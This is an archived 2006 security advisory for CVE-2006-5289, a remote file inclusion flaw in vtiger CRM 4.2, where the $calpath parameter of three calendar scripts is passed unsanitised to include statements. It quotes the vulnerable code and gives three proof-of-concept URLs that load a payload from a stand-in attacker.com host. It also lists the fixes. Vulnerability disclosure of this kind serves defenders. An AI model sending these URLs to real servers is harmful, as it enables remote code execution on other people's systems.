SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
WLB
Services
RSS
Corporate
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com

Home arrow SecurityAlert Database

Arrow  Topic :

vtiger CRM <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability


Arrow  SecurityAlert : 1722
Arrow  CVE : CVE-2006-5289
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Dedi Dwianto a.k.a the_day
Arrow  Published : 16.10.2006

Arrow  Affected Software : vtiger CRM <=4.2



Arrow  Advisory Content :  

ECHO_ADV_54$2006

------------------------------------------------------------------------
-----------------------
[ECHO_ADV_54$2006]vtiger CRM <=4.2 (calpath) Multiple Remote File
Inclusion Vulnerability
------------------------------------------------------------------------
-----------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : October, 09th 2006
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv54-theday-2006.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------
---

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Vtiger CRM
version : <=4.2
URL : http://vtiger.com

vtiger CRM is 100% Open Source Customer Relationship Management solution
built over
LAMP/WAMP stack and other third-party open source packages.
vtiger CRM software can be installed in Windows NT/2000/XP/2003 and
different types
Unix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0,
SuSe 9.0, Fedora Core 3.0,
Mandrake 10.0, Mac OS, and FreeBSD.
------------------------------------------------------------------------
---

Vulnerability:
~~~~~~~~~~~~~~

In folder modules/Calendar/admin/ I found vulnerability script update.php
--------------------------update.php------------------------------------
---
....
<?

include_once $calpath .'webelements.p3';
include_once $calpath .'permission.p3';
...
----------------------------------------------------------

Input passed to the "$calpath" parameter in update.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

Also affected files on Files:

modules/Calendar/admin/update.php
modules/Calendar/admin/scheme.php
modules/Calendar/calendar.php

Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?ca
lpath=http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=
http://attacker.com/inject.txt?
http://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpat
h=http://attacker.com/inject.txt?

Solution:
~~~~~~~
- Sanitize variable $calpath on affected files.
- Turn off register_globals

Timeline:
~~~~~~~
09 - 10 - 2006 Bugs Found
09 - 10 - 2006 Vendor Contact
09 - 10 - Public Disclosure

------------------------------------------------------------------------
---

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,boom_3x,mathdule,angelia
~ newbie_hacker (at) yahoogroups (dot) com [email concealed]
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------

---
Contact:
~~~~
EcHo Research & Development Center
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------





Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc:fts_*() Multiple Denial of Service

Security Risk Medium- 2009-10-02

The fts functions are provided for traversing UNIX file hierarchies...

Apache RSS Apache Alert

» Apache 1.3.41 mod_proxy
   Integer overflow (code
   execution)

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion in work
   directory

» Apache Tomcat 6.0.20 and
   5.5.28 insecure partial
   deploy after failed
   undeploy

» Apache Tomcat 6.0.20 and
   5.5.28 unexpected file
   deletion and/or
   alteration

PHP RSS PHP Alert

» PHP 5.2.12/5.3.1
   session.save_path
   safe_mode and
   open_basedir bypass

» PHP 5.2.12/5.3.1 Multiple
   Vulnerabilities

» PHP 5.2.11 libgd multiple
   vulnerabilities

» PHP 5.2.11 tempnam()
   safe_mode bypass

Copyright © SecurityReason.com. All Rights Reserved.